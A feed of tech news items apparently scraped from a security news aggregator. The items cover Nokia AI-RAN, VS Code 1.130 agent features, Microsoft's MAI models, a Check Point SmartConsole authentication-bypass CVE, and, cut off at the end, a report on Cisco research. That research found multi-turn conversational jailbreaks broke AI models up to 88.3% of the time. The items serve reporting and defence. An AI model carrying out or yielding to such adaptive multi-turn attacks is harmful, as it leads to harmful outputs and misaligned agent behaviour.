<p class="wp-block-paragraph">Third, innovation cadence. In Ed’s words, “hardware upgrades can’t keep up with the innovation… we can’t really have a silicon refresh cycle linked with every three‑year cycle.” Nokia’s subscription‑based software model is designed to deliver new AI algorithms, spectral‑efficiency improvements and network optimization features continuously, without requiring “forklift” hardware replacements.</p>



<p class="wp-block-paragraph">For operators, the message is attractive: comparable TCO and power to existing basebands, “no hardware premium” for GPU adoption, but higher capacity and a path to new services. Nokia told analysts it has reached performance, price and energy efficiency parity between its custom GridShark silicon and GPU-based systems, while moving the baseband roadmap to merchant silicon.</p>



<h2 class="wp-block-heading">Nokia’s differentiation strategy</h2>



<p class="wp-block-paragraph">Every major RAN vendor is talking about AI‑enhanced radio, but Nokia is drawing a line between incremental gains and what it claims is a platform shift. When asked why its 2x spectral efficiency ambition is so much higher than the ~20% numbers competitors discuss, Ed pointed to the underlying architecture: “We are able to bring much more complex algorithms into this compute infrastructure… all of these require much higher compute, which is exactly what is coming from the accelerated computing.”</p>



<p class="wp-block-paragraph">Several differentiators emerge:</p>



<ul class="wp-block-list">
<li>Aggressive spectral roadmap: Nokia is targeting 1.5x by 2027 and 2x by 2028, across TDD massive MIMO and FDD scenarios, with a feature roadmap built jointly with Nvidia and other partners.</li>



<li>Single code base, three deployment paths: The same anyRAN software stack runs on (1) a GPU‑powered AirScale capacity plug‑in card, (2) a high‑capacity standalone AI‑RAN node, and (3) GPU‑based COTS/cloud RAN servers. This lets operators modernize “at their own pace” and mix brownfield evolution with greenfield AI-native deployments.</li>



<li>Open ecosystem with D‑apps: Nokia is leaning into ORAN compliance (front‑haul, O1/O2) and actively championing the E3 interface and D‑apps concept within ORAN and AI‑RAN alliances, with Bell Labs and at least two external partners already building sensing and location applications on the platform.</li>



<li>Software subscription tied to value: The commercial model builds on existing software subscriptions but ties pricing more explicitly to delivered value, such as spectral efficiency improvements and new AI services, rather than pure license metrics.</li>
</ul>



<p class="wp-block-paragraph">Mukherjee emphasized the openness angle in the briefing: “We see a lot of third‑party applications, whether it’s improving spectral efficiency or location service or sensing, can be developed on this platform… any AI‑powered services from us in Nokia or from ecosystems can be actually developed on top of it.” For operators burned by closed optimization stacks, that’s a notable pivot.</p>



<h2 class="wp-block-heading">How AI-RAN unlocks new revenue</h2>



<p class="wp-block-paragraph">Most operators will sign off on AI‑RAN if the capacity and TCO story holds, but the more strategic question is monetization beyond connectivity. Nokia’s spokespeople spent considerable time on this in the analyst call, pointing to several classes of services that are difficult or impossible to deliver without AI running in the RAN itself.</p>



<p class="wp-block-paragraph">Examples include:</p>



<ul class="wp-block-list">
<li>Integrated sensing: Turning the RAN into a distributed sensor grid that can support applications such as 3D mapping, gesture recognition and environmental monitoring, using the same RF infrastructure. Mukherjee noted, “We have at least two to three partners developing sensing applications on top of it… as well as two other companies developing location services.”</li>



<li>Physical AI and location services: For factories, logistics hubs and smart cities, AI‑RAN can provide high‑precision positioning and real‑time telemetry for robots, drones and autonomous systems by fusing radio data and AI models at the edge.</li>



<li>Distributed AI infrastructure: Operators exploring “AI‑native cities” can use AI‑RAN nodes and COTS GPU servers as a distributed inference fabric for applications that need tight latency to endpoints—think AR/VR offload, real‑time video analytics or interactive generative AI experiences.</li>



<li>Premium connectivity tiers: With fine‑grained, AI‑driven control over uplink/downlink scheduling and QoS, operators can create differentiated SLAs for enterprise slices, mission‑critical IoT and AI workloads, charging for guaranteed performance rather than best‑effort connectivity.</li>
</ul>



<p class="wp-block-paragraph">Ed framed the opportunity as a continuum: Superior connectivity from 2x spectral efficiency creates “space for new AI workloads and other use cases,” while the D‑apps ecosystem and subscription model provide a mechanism to package and sell those capabilities. In practice, that could look like:</p>



<ul class="wp-block-list">
<li>Industrial sensing-as-a-service, where Nokia and partners supply D‑apps for integrated sensing and positioning, and operators monetize them per site or per device.</li>



<li>Network‑exposed APIs for inference, location and RF sensing, integrated into operators’ broader network API portfolios as they pursue “network-as-a-platform” strategies.</li>



<li>Sector‑specific AI‑native services, such as stadium analytics, transportation corridor monitoring, or drone traffic management, built by ISVs on top of Nokia’s exposed E3 data.</li>
</ul>



<p class="wp-block-paragraph">For operators that already use Nokia’s MantaRay and SMO stacks for cross‑network optimization, AI‑RAN essentially becomes the local real‑time execution environment, while R‑apps/X‑apps continue to orchestrate macro-level behaviors. Mukherjee described this layered architecture as “DU and CU on the platform running D‑apps using E3, interfacing to X‑apps and R‑apps through E2SM and connecting to the overall management system/SMO for lifecycle management.”</p>



<h2 class="wp-block-heading">Adoption path and reality check</h2>



<p class="wp-block-paragraph">Nokia is not promising instant transformation. AI‑RAN pilots are slated for late 2026, with commercial availability on card‑based systems in 2027 and AirScale-based systems around 2028, all driven from a single software stack that supports 4G, 5G and is upgradable to 6G. The company already has trials and collaborations underway with T‑Mobile US, SoftBank, Indosat Ooredoo Hutchison, BT, Elisa, Vodafone, Orange, NTT Docomo, Deutsche Telekom and others.</p>



<p class="wp-block-paragraph">There are still open questions around 3GPP vs ORAN standardization of E3, the maturity of the D‑apps ecosystem, and how operators will digest yet another subscription layer tied to radio software. But Nokia’s move puts a stake in the ground: in the AI era, the RAN is not just a throughput engine; it’s a programmable AI computer that can be monetized.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers evaluating vendor roadmaps, this launch suggests a clear directional change. If Nokia hits its targets, AI‑RAN could mark the point where baseband becomes less about hardware SKUs and more about an AI platform strategy—one where spectral efficiency and new services are rolled out at “software speed,” as Ed described it, rather than at the pace of the next card generation.</p>
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<title><![CDATA[Visual Studio Code 1.130 shines on Agents window]]></title>
<description><![CDATA[Microsoft has released Visual Studio Code 1.130, an update to the code editor that brings several improvements to the Agents window, along with enhancements to the agent host and the terminal.



VS Code 1.130 was released on July 22, one week after VS Code 1.129. Developers can access the releas...]]></description>
<link>https://tsecurity.de/de/3690529/ai-nachrichten/visual-studio-code-1130-shines-on-agents-window/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690529/ai-nachrichten/visual-studio-code-1130-shines-on-agents-window/</guid>
<pubDate>Fri, 24 Jul 2026 03:37:26 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Microsoft has released Visual Studio Code 1.130, an update to the code editor that brings several improvements to the Agents window, along with enhancements to the agent host and the terminal.</p>



<p class="wp-block-paragraph">VS Code 1.130 was released on <a href="https://code.visualstudio.com/updates/v1_130#_agents-window-improvements-preview">July 22</a>, one week after <a href="https://www.infoworld.com/article/4199680/visual-studio-code-1-129-introduces-dedicated-agent-host.html">VS Code 1.129</a>. Developers can access the release for Windows, Linux, or Mac from <a href="https://code.visualstudio.com/Download?_exp_download=fb315fc982">code.visualstudio.com</a>. </p>



<p class="wp-block-paragraph">With the new release, the <a href="https://code.visualstudio.com/docs/agents/agents-window">Agents window</a> gets updates that make it easier to review changes and manage chats. File-level diff statistics help users assess the size of each file’s changes when scanning a multi-file diff. The window also gets a more compact multi-file diff that makes it easier to review changes, Microsoft said. The Agents window is a dedicated window in VS Code that lets users run and track multiple agent sessions in parallel across their projects, without opening each workspace in a separate window.</p>



<p class="wp-block-paragraph">Also with VS Code 1.130, assisted permissions for agent tool calls are available in the <a href="https://code.visualstudio.com/updates/v1_130#_the-agent-host" data-type="link" data-id="https://code.visualstudio.com/updates/v1_130#_the-agent-host">agent host</a>. With assisted permissions, the LLM evaluates the risk of each tool call and decides whether the tool can run or should require the user’s approval. The setting to enable assisted permissions is <code>chat.assistedPermissions.enabled</code>. In another agent host improvement, quick chats running on the agent host now use compact, single-line rows in the sessions list. Regular sessions retain a second line with change statistics, status, and timestamps. </p>



<p class="wp-block-paragraph">VS Code users now can open file links from Git diff output in the terminal when Git’s <a href="https://git-scm.com/docs/diff-config#Documentation/diff-config.txt-diffmnemonicPrefix" target="_blank" rel="noreferrer noopener"><code>diff.mnemonicPrefix</code></a> option is enabled. VS Code recognizes prefixes such as<code> i/</code> for the index and <code>w/</code> for the working tree, and removes the prefix from the link target so the correct file opens. When mnemonic prefixes are enabled, VS Code also recognizes the numeric prefixes produced by <code>git diff --no-index</code>.</p>



<p class="wp-block-paragraph">Timestamps for chat requests and responses now are displayed when users hover over the message toolbar. You can disable this through the <code>chat.verbose</code> setting. </p>
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<title><![CDATA[Microsoft launches new in-house AI models it says cut costs up to 89% versus OpenAI]]></title>
<description><![CDATA[Microsoft AI released two new in-house models into public preview on Wednesday — MAI-Image-2.5-Pro, its highest-fidelity image generator to date, and MAI-Voice-2-Flash, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most ...]]></description>
<link>https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/</guid>
<pubDate>Fri, 24 Jul 2026 02:50:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://microsoft.ai/">Microsoft AI</a> released two new in-house models into public preview on Wednesday — <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a>, its highest-fidelity image generator to date, and <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a>, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most aggressive argument yet that it can power its own products without leaning on OpenAI's frontier models.</p><p>The announcement, made by <a href="https://microsoft.ai/">Microsoft AI's Superintelligence team</a>, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: <a href="https://www.bing.com/">Bing</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/onedrive/online-cloud-storage">OneDrive</a>, <a href="https://www.microsoft.com/en-us/dynamics-365">Dynamics 365</a>, <a href="https://excel.cloud.microsoft/en-us/">Excel</a>, <a href="https://github.com/features/copilot">GitHub Copilot</a>, and <a href="https://azure.microsoft.com/en-us">Azure</a>. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.</p><p>"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.</p><h2><b>How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve</b></h2><p>The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a> targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a> model recently launched at <a href="https://microsoft.ai/news/introducing-mai-image-2-5/">No. 2 for image editing on Arena</a>, the community leaderboard that has become a de facto scoreboard for generative media.</p><p>The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."</p><p><a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> goes the other direction. First previewed at Microsoft's <a href="https://news.microsoft.com/build-2026/">Build conference</a>, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.</p><h2><b>Microsoft's production metrics show in-house models cutting GPU costs by up to 89%</b></h2><p>The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. </p><p><a href="https://explore.microsoft.com/en-us/bing/features/bing-image-creator?form=MA13FV">Bing Image Creator </a>now runs entirely on <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a>, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.</p><p>On the voice side, <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.</p><p>Perhaps the most consequential deployment sits in healthcare. Microsoft's <a href="https://www.microsoft.com/en-us/health-solutions/clinical-workflow/dragon-copilot">Dragon Copilot</a>, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.</p><h2><b>Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel</b></h2><p>In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "<a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">hill-climbing machine</a>," an integrated flywheel of data, models, and the product "harness" that surrounds them.</p><p>The clearest example is <a href="https://microsoft.ai/news/introducingmai-code-1-flash/">MAI-Code-1-Flash</a>, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.</p><p>Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further <a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">trained it inside an Excel reinforcement learning environment</a>, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.</p><p>That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.</p><h2><b>Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship</b></h2><p>Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "<a href="https://x.com/satyanadella/status/2080329851127669104">Frontier Diffusion &amp; Control</a>," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."</p><p>Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?</p><p>Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." </p><p>“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s <a href="https://www.reuters.com/legal/litigation/microsoft-end-exclusive-license-openais-technology-2026-04-27/">exclusive license to OpenAI’s technology</a> had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had <a href="https://www.theinformation.com/articles/microsoft-buy-ai-anthropic-shift-openai">begun incorporating Anthropic models</a> into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”</p><h2><b>Developers cheer cheaper task-specific models while skeptics question Microsoft's track record</b></h2><p>The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, <a href="https://x.com/mavihsk/status/2080330529547993252">@mavihsk</a>, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, <a href="https://x.com/nabu_lines/status/2080343512780837226">@nabu_lines</a>, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."</p><p>Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer <a href="https://x.com/designedbyabin/status/2080332368301412434">@designedbyabin</a>, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, <a href="https://x.com/tokenoverflow/status/2080386145712824694">@tokenoverflow</a>, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."</p><p>The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.</p><p>But the strategy's logic does not depend on any single number. Nadella's framing that software now has "<a href="https://x.com/satyanadella/status/2080329851127669104">real marginal cost for the first time</a>" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.</p><h2><b>Why Microsoft is turning its internal AI playbook into an Azure product</b></h2><p>The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.</p><p>The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to <a href="https://copilot.microsoft.com/">Copilot Chat</a>, <a href="https://outlook.live.com/mail/">Outlook</a>, and <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, and both new models are available in public preview through <a href="https://azure.microsoft.com/en-us/products/ai-foundry">Microsoft Foundry</a> and the <a href="https://playground.microsoft.ai/">MAI Playground</a>. "None of this is an endpoint," the company wrote. "We're just getting started."</p><p>Seven years ago, <a href="https://www.cnbc.com/2024/08/10/rise-of-openai-microsofts-13-billion-artificial-intelligence-bet.html">Microsoft bet more than $13 billion</a> that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.</p>]]></content:encoded>
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<title><![CDATA[Check Point hole grants unauthenticated attackers full SmartConsole admin privileges]]></title>
<description><![CDATA[Check Point has confirmed that a critical security hole in its SmartConsole management tool, one that allows unauthenticated attackers to assume full admin privileges, is now being exploited in the wild. The vulnerability, CVE-2026-16232, was given a CVSS score of 9.3.



In its security alert, C...]]></description>
<link>https://tsecurity.de/de/3690156/it-security-nachrichten/check-point-hole-grants-unauthenticated-attackers-full-smartconsole-admin-privileges/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690156/it-security-nachrichten/check-point-hole-grants-unauthenticated-attackers-full-smartconsole-admin-privileges/</guid>
<pubDate>Thu, 23 Jul 2026 22:25:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Check Point has confirmed that a critical security hole in its SmartConsole management tool, one that <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-16232" target="_blank" rel="noreferrer noopener">allows unauthenticated attackers</a> to assume full admin privileges, is now being exploited in the wild. The vulnerability, <a href="https://github.com/advisories/ghsa-m2xx-23gx-734v" target="_blank" rel="noreferrer noopener">CVE-2026-16232</a>, was given a CVSS score of 9.3.</p>



<p class="wp-block-paragraph">In its security alert, <a href="https://support.checkpoint.com/results/sk/sk185169/" target="_blank" rel="noreferrer noopener">Check Point described</a> the bug as one allowing an unauthenticated attacker to “obtain an application login token and use it to login via SmartConsole with full admin privileges and apply changes to the security policy and security configuration.”</p>



<p class="wp-block-paragraph">The company has <a href="https://sc1.checkpoint.com/documents/Jumbo_HFA/R82.10/R82.10/R82.10-List-of-all-Resolved-Issues.htm" target="_blank" rel="noreferrer noopener">released a patch</a> for the bug and also recommends that users “limit Trusted Clients, GUI clients, to trusted IP addresses/subnets.” That approach has always been a best practice, but practical networking realities today make it challenging to maintain. <a href="https://www.csoonline.com/article/4195311/check-point-cto-jonathan-zanger-sees-ai-elevating-the-value-of-cyber.html" target="_blank">Check Point</a> said that the exploit has impacted ten of its customers, all of whom it had notified directly.</p>



<h2 class="wp-block-heading">Far worse than most</h2>



<p class="wp-block-paragraph"><a href="https://my.idc.com/getdoc.jsp?containerId=PRF004767" target="_blank" rel="noreferrer noopener">Frank Dickson</a>, group VP for security at IDC, said this security hole is far worse than most.</p>



<p class="wp-block-paragraph">“This hits harder than your average CVE because of where it lives,” he said. “The CVE targets the SmartConsole login on Check Point’s Security Management Server, the console that pushes policy to every gateway underneath it. Popping a gateway gets you one lock picked. Popping the management server is more like finding the One Ring: one stolen token to rule every gateway it manages, no need to fight each one individually. The attacker can rewrite policy, open new VPN paths and kill the logging.”</p>



<p class="wp-block-paragraph">In an interview with CSO Online, <a href="https://www.linkedin.com/in/lotem-finkelstein-05797a85/" target="_blank" rel="noreferrer noopener">Lotem Finkelstein</a>, vice president of research at Check Point, said that the company learned of the vulnerability on Sunday, emailed customers the same day, and released the patch within 72 hours.</p>



<p class="wp-block-paragraph">But when his team re-reviewed earlier logs, knowing what to look for, they spotted this hole being attacked as early as April, Finkelstein said.</p>



<p class="wp-block-paragraph">The fact that, over the course of three months, the team only found ten organizations under attack, indicated that it has been very difficult for the attacker to find vulnerable systems, he noted; customers were, in the main, using secure settings to protect themselves.</p>



<p class="wp-block-paragraph">Nonetheless, Finkelstein said, Check Point considers this hole to be “a severe vulnerability.”</p>



<h2 class="wp-block-heading">Challenges of IP address restrictions</h2>



<p class="wp-block-paragraph">While it can be technically challenging to keep the IP address allowlists that Check Point recommends current, given DHCP’s ability to easily change those addresses, <a href="https://www.linkedin.com/in/assafmo/" target="_blank" rel="noreferrer noopener">Assaf Morag</a>, a cybersecurity researcher at Flare, noted that specifically limiting access to a management console is far more critical than limiting overall external access.</p>



<p class="wp-block-paragraph">“Implementing Trusted Clients as a per-IP allowlist is impractical,” he said, but that is not the case with restricting management access. “The more scalable solution is to restrict access based on trusted administrative network segments such as VPN pools, management VLANs, or jump hosts rather than maintaining lists of individual DHCP-assigned client addresses,” he explained. “That gives you the security benefit without creating a full-time administrative task. Maintaining allowlists for individual hosts is much more practical when those hosts have stable, predictable IP addresses, rather than dynamically assigned DHCP addresses.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/pieter-arntz-04164b2/" target="_blank" rel="noreferrer noopener">Pieter Arntz</a>, malware intelligence researcher at Malwarebytes, also noted that the constantly changing nature of global IP addresses can prove annoying to IT teams. Stressing that he is not familiar with Check Point’s specific settings, he noted, “Certain settings are a nuisance when applied strictly, and at some point the IT staff gets tired of constantly tweaking and they abandon the most secure path.”</p>



<h2 class="wp-block-heading">Ideal platform for long-term attacks</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/eclectiqus/" target="_blank" rel="noreferrer noopener">Mike Wilkes</a>, enterprise CISO at Aikido Security,  agreed that the severity and exposure of this hole is alarming.</p>



<p class="wp-block-paragraph">“This is exactly the kind of vulnerability that keeps CISOs awake at night because it strikes at the one system that is supposed to stand between the attacker and everything else. An authentication bypass that grants administrative control of a perimeter firewall isn’t just another CVE to patch. It’s an invitation for an adversary to rewrite the rules of the network itself,” he said. “The uncomfortable reality is that nobody runs a CrowdStrike agent on their firewall. Once an attacker owns an edge device, they gain a uniquely privileged position that often falls outside the visibility of traditional endpoint security, making it an ideal platform for persistence, credential theft, traffic manipulation, and long-term espionage.”</p>



<p class="wp-block-paragraph">IDC’s Dickson strongly encouraged CISOs to deploy the patch, not to just change settings to mitigate the issue. </p>



<p class="wp-block-paragraph">“Apply the actual hotfix,” he said. “Don’t just restrict Trusted Client IPs and call it done. That’s a stopgap, not a fix. Any internet-facing management console, Check Point or otherwise, is a five-alarm architecture problem independent of this CVE.”</p>



<p class="wp-block-paragraph">And, he added, “since attackers here can disable logging, audit admin activity going back before the bug surfaced. Quiet logs aren’t proof nothing happened. This is the recurring theme with ‘single pane of glass’ security tools: the console built to make everything easier to run is also the one thing you really don’t want someone else driving.”</p>
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<title><![CDATA[Google Cites Record-Breaking World Cup Views, but Traps YouTube Between Two Futures]]></title>
<description><![CDATA[Commentary: Google’s latest earnings call alternated between praising YouTube and showing how Gemini could destroy it.]]></description>
<link>https://tsecurity.de/de/3690137/it-nachrichten/google-cites-record-breaking-world-cup-views-but-traps-youtube-between-two-futures/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690137/it-nachrichten/google-cites-record-breaking-world-cup-views-but-traps-youtube-between-two-futures/</guid>
<pubDate>Thu, 23 Jul 2026 22:03:47 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Commentary: Google’s latest earnings call alternated between praising YouTube and showing how Gemini could destroy it.]]></content:encoded>
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<title><![CDATA[Multi-turn attacks broke AI models 88% of the time — single-turn testing missed it, Cisco AI security lead warns at VB Transform 2026]]></title>
<description><![CDATA[When Cisco ran 6,986 multi-turn attacks against 15 flagship models, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at VB Transfor...]]></description>
<link>https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When Cisco ran 6,986 multi-turn attacks against <a href="https://blogs.cisco.com/ai/proprietary-problems">15 flagship models</a>, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>; the number should worry anyone still running single-turn red-teaming programs.</p><p><a href="https://venturebeat.com/resources/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials">VentureBeat's June 2026 Pulse survey of 107 enterprise respondents</a> explains why the room was full. More than half, 54%, have already had a confirmed agent security incident (18%) or a near-miss caught before harm (36%). Just 32% give every agent its own scoped, managed identity, and fewer still, 30%, isolate their highest-risk agents in sandboxes. Provider-native and hyperscaler controls remain the primary agent security layer at <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">82% of companies surveyed</a>. The world's largest security vendors have done the same math. </p><p>Palo Alto Networks closed its <a href="https://www.paloaltonetworks.com/company/press/2026/palo-alto-networks-completes-acquisition-of-cyberark-to-secure-the-ai-era">$25 billion acquisition of CyberArk</a> in February, CrowdStrike <a href="https://www.crowdstrike.com/en-us/press-releases/crowdstrike-to-acquire-sgnl-to-transform-identity-security-for-ai-era/">agreed in January to pay $740 million for SGNL</a>, and Cisco announced its <a href="https://blogs.cisco.com/news/cisco-announces-intent-to-acquire-astrix-security">intent to acquire Astrix Security</a> for a reported $400 million, all of it aimed at the identity and isolation layer most enterprises have not finished building.</p><div></div><p>Chang came to the panel with almost two decades of experience spanning cybersecurity operations, government, and the military. She ran global cybersecurity operations as an executive director at JPMorgan Chase, where she led the bank's cyber threat intelligence teams, and served as a senior staffer on the House Foreign Affairs Committee and as a U.S. Navy Reserve officer. She also teaches cybersecurity and emerging threats as adjunct faculty at the Middlebury Institute of International Studies.</p><p>Chang's 88.3% number comes from a study she co-authored with Nicholas Conley, built on 30,090 single-turn prompts and 6,986 multi-turn attacks against those 15 closed and proprietary flagship models. Multi-turn success rates ranged from 7.89% to 88.3%, every model tested showed non-trivial multi-turn exposure, and the two testing styles did not even rank the models in the same order. Cisco publishes adversarial evaluation signals for what is now 105 models on its <a href="https://leaderboard.aidefense.cisco.com/">LLM Security Leaderboard</a>, she told the audience.</p><p>"If you don't understand how models are susceptible to different types of attacks, then you are unable to account for how that model that is powering your agent, that is powering your application, to understand where those failure points are," Chang said. Single-turn testing is the one-shot malicious prompt, she explained, while extending an attack into a longer conversation "is more realistic of how we are actually engaging with our models, with our agents, with our applications." That longer arc surfaces harmful outputs and misaligned behaviors that a snapshot never catches.</p><p>Cisco has pushed the testing itself into agentic territory. Chang described a framework where agents 